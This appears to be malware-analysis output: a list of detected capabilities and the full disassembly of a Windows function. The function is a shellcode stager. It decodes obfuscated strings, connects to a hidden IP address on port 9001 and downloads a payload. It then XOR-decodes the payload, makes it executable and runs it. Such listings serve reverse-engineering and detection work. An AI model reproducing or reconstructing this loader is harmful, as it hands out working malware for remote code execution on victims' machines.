Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Connect socket
Convert ip address from string
Encode data using xor
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov r15d, ecx
mov r14d, 5
cmp ecx, 2
jge 0x140001314
mov dword [rsp + 0x40], 0x76b41c26
mov dword [rsp + 0x44], 0xd025b3b2
mov word [rsp + 0x48], 0x2fb5
mov byte [rsp + 0x4a], 0
lea rcx, [rsp + 0x40]
lea edx, [r14 + 6]
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
xor al, 0x73
sub al, 0x73
xor al, 0xdf
add al, 0x21
xor al, 0xa8
add al, 0x58
xor al, 0xd1
add al, 0x2f
dec rdx
mov byte [rcx - 1], al
jne 0x140001290
mov byte [rbp + 0x1ac], dl
mov dword [rbp + 0x1a8], 0x272e7934
lea rcx, [rbp + 0x1a8]
mov rdx, r14
nop dword [rax + rax]
movzx eax, byte [rcx]
inc rcx
xor al, 0x9b
add al, 0x65
xor al, 0x9e
add al, 0x62
xor al, 0x39
sub al, 0x39
xor al, 0x80
sub al, 0x80
xor al, 0x41
sub al, 0x41
xor al, 0xb5
add al, 0x4b
xor al, 0xe8
add al, 0x18
dec rdx
mov byte [rcx - 1], al
jne 0x1400012d0
lea r8, [rbp + 0x1a8]
lea rdx, [rsp + 0x40]
mov r9d, 0x1000
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea rdx, [rbp - 0x50]
mov ecx, 0x202
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x70], esi
mov r13d, esi
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, esi
mov edi, 2
mov edx, 1
mov ecx, edi
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x14000181e
xor eax, eax
mov ecx, 0x2329
mov qword [rsp + 0x78], rax
mov word [rsp + 0x78], di
mov qword [rbp - 0x80], rax
call qword [sym.imp.WS2_32.dll_htons]
mov dword [rsp + 0x60], 0x3d4a132c
mov dword [rsp + 0x64], 0x3d4ac813
mov dword [rsp + 0x68], 0x293d4a66
mov word [rsp + 0x6c], 0xc8
lea rcx, [rsp + 0x60]
mov word [rsp + 0x7a], ax
mov edx, recv
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
xor al, 0xb7
add al, 0x49
xor al, 0x18
sub al, 0x18
xor al, 0x33
sub al, 0x33
xor al, 0x4a
sub al, 0x4a
xor al, 0xd7
add al, 0x29
xor al, 0x35
sub al, 0x35
xor al, 0x2a
sub al, 0x2a
dec rdx
mov byte [rcx - 1], al
jne 0x1400013b0
lea r8, [rsp + 0x7c]
lea rdx, [rsp + 0x60]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
lea rdx, [rsp + 0x78]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, r12
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001420
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001343
mov dword [rsp + 0x50], 0xa5b3b3e9
mov dword [rsp + 0x54], 0xa7e4f704
mov dword [rsp + 0x58], 0x5aed0f
lea rcx, [rsp + 0x50]
mov edx, recv
movzx eax, byte [rcx]
inc rcx
xor al, 0xae
add al, 0x52
xor al, 0x60
sub al, 0x60
xor al, 0x95
add al, 0x6b
xor al, 0x2a
sub al, 0x2a
xor al, 0x7f
sub al, 0x7f
xor al, 2
sub al, 2
xor al, 0x52
sub al, 0x52
dec rdx
mov byte [rcx - 1], al
jne 0x140001442
mov rax, qword [rsp + 0x50]
xor ecx, ecx
mov qword [rbp - 0x78], rax
mov eax, dword [rsp + 0x58]
mov dword [rbp - 0x70], eax
call qword [sym.imp.MSVCR100.dll__time64]
mov rcx, rax
call qword [sym.imp.MSVCR100.dll_srand]
mov rdi, rsi
call qword [sym.imp.MSVCR100.dll_rand]
inc rdi
mov byte [rbp + rdi - 0x6d], al
cmp rdi, 6
jl 0x140001490
mov r10d, esi
lea r9, [rbp - 0x77]
nop word [rax + rax]
mov ecx, r10d
lea r8d, [r10 + 2]
mov eax, 0xcccccccd
add r9, 6
mul r10d
shr edx, 2
lea eax, [rdx + rdx*4]
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax - 0x6c]
mov eax, 0xcccccccd
xor byte [r9 - 7], cl
lea ecx, [r8 - 1]
mul ecx
shr edx, 2
mov ecx, r10d
lea eax, [rdx + rdx*4]
sub ecx, eax
lea eax, [rcx + 1]
cdqe
movzx ecx, byte [rbp + rax - 0x6c]
mov eax, 0xcccccccd
xor byte [r9 - 6], cl
mov ecx, r10d
mul r8d
shr edx, 2
lea eax, [rdx + rdx*4]
sub ecx, eax
lea eax, [rcx + 2]
cdqe
movzx ecx, byte [rbp + rax - 0x6c]
mov eax, 0xcccccccd
xor byte [r9 - 5], cl
lea ecx, [r8 + 1]
mul ecx
shr edx, 2
mov ecx, r10d
lea eax, [rdx + rdx*4]
sub ecx, eax
lea eax, [rcx + 3]
cdqe
movzx ecx, byte [rbp + rax - 0x6c]
mov eax, 0xcccccccd
xor byte [r9 - 4], cl
lea ecx, [r8 + 2]
mul ecx
shr edx, 2
mov ecx, r10d
lea eax, [rdx + rdx*4]
sub ecx, eax
lea eax, [rcx + 4]
cdqe
movzx ecx, byte [rbp + rax - 0x6c]
mov eax, 0xcccccccd
xor byte [r9 - 3], cl
lea ecx, [r8 + 3]
mul ecx
mov ecx, r10d
shr edx, 2
lea eax, [rdx + rdx*4]
add r10d, 6
sub ecx, eax
lea eax, [rcx + 5]
cdqe
movzx ecx, byte [rbp + rax - 0x6c]
xor byte [r9 - 2], cl
cmp r10d, 0xc
jl 0x1400014b0
xor r9d, r9d
lea rdx, [rbp - 0x78]
mov rcx, r12
lea r8d, [r9 + 0x12]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400015b8
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
xor r9d, r9d
lea rdx, [rbp + 0x190]
mov rcx, r12
lea r8d, [r9 + 4]
mov dword [rbp + 0x190], esi
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp eax, 0xffffffff
je 0x14000160d
test eax, eax
je 0x14000160d
movsxd rax, dword [rbp + 0x190]
test eax, eax
jle 0x14000160d
test r13, r13
jne 0x14000162e
lea r9d, [r13 + 0x40]
mov rdx, rax
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
test rax, rax
jne 0x140001628
mov rcx, r12
mov ebx, esi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000133e
mov eax, dword [rbp + 0x190]
cmp ebx, eax
jge 0x140001684
nop word [rax + rax]
sub eax, ebx
mov ecx, 0x400
movsxd rdx, ebx
cmp eax, ecx
cmovg eax, ecx
add rdx, r13
xor r9d, r9d
mov r8d, eax
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp eax, 0xffffffff
je 0x14000167a
test eax, eax
je 0x14000167c
add ebx, eax
mov eax, dword [rbp + 0x190]
cmp ebx, eax
jl 0x140001640
jmp 0x140001682
mov ebx, esi
mov eax, dword [rbp + 0x190]
cmp ebx, eax
je 0x1400016af
cmp edi, 0xffffffff
mov edi, 2
jne 0x140001343
mov rcx, r12
mov ebx, esi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001343
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
lea r10d, [rbx - 0x80]
mov r8d, esi
test r10d, r10d
jle 0x140001702
lea r9, [r13 + 0x80]
nop dword [rax + rax]
mov eax, 0x2040811
mov ecx, r8d
inc r9
mul r8d
sub ecx, edx
mov eax, r8d
shr ecx, 1
inc r8d
add ecx, edx
shr ecx, 6
imul ecx, ecx, 0x7f
sub eax, ecx
cdqe
movzx ecx, byte [rax + r13]
xor byte [r9 - 1], cl
cmp r8d, r10d
jl 0x1400016d0
mov dword [rbp + 0x1a8], 0x7ac32bbf
mov byte [rbp + 0x1ac], sil
lea rcx, [rbp + 0x1a8]
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
xor al, 0xb
sub al, 0xb
xor al, 0xa5
add al, 0x5b
xor al, 0x5f
sub al, 0x5f
xor al, 6
sub al, 6
xor al, 0xb5
add al, 0x4b
xor al, 0xad
add al, 0x53
dec r14
mov byte [rcx - 1], al
jne 0x140001720
cmp r15d, 2
jge 0x140001792
lea rdx, [rbp + 0x1a8]
mov r8d, esi
nop word [rax + rax]
movsx eax, byte [rdx]
ror r8d, 0xd
inc rdx
add r8d, eax
cmp byte [rdx - 1], sil
jne 0x140001760
lea rax, [rbp + 0x1a8]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
jmp 0x1400017d9
lea rcx, [rbp + 0x1a8]
nop dword [rax]
movsx eax, byte [rcx]
ror esi, 0xd
inc rcx
add esi, eax
cmp byte [rcx - 1], 0
jne 0x1400017a0
lea rax, [rbp + 0x1a8]
lea r9, [0x140004020]
mov r8d, esi
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5c
lea edx, [rbx - 0x80]
lea rcx, [r13 + 0x80]
call fcn.140001000
test eax, eax
je 0x14000181a
mov rbx, qword [rsp + 0x40]
mov edx, dword [rbp + 0x1a8]
lea r9, [rsp + 0x70]
mov rcx, rbx
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000181a
call rbx
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_free]
xor eax, eax
jmp 0x140001823
mov eax, 1
mov rbx, qword [rsp + 0x298]
add rsp, 0x250
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret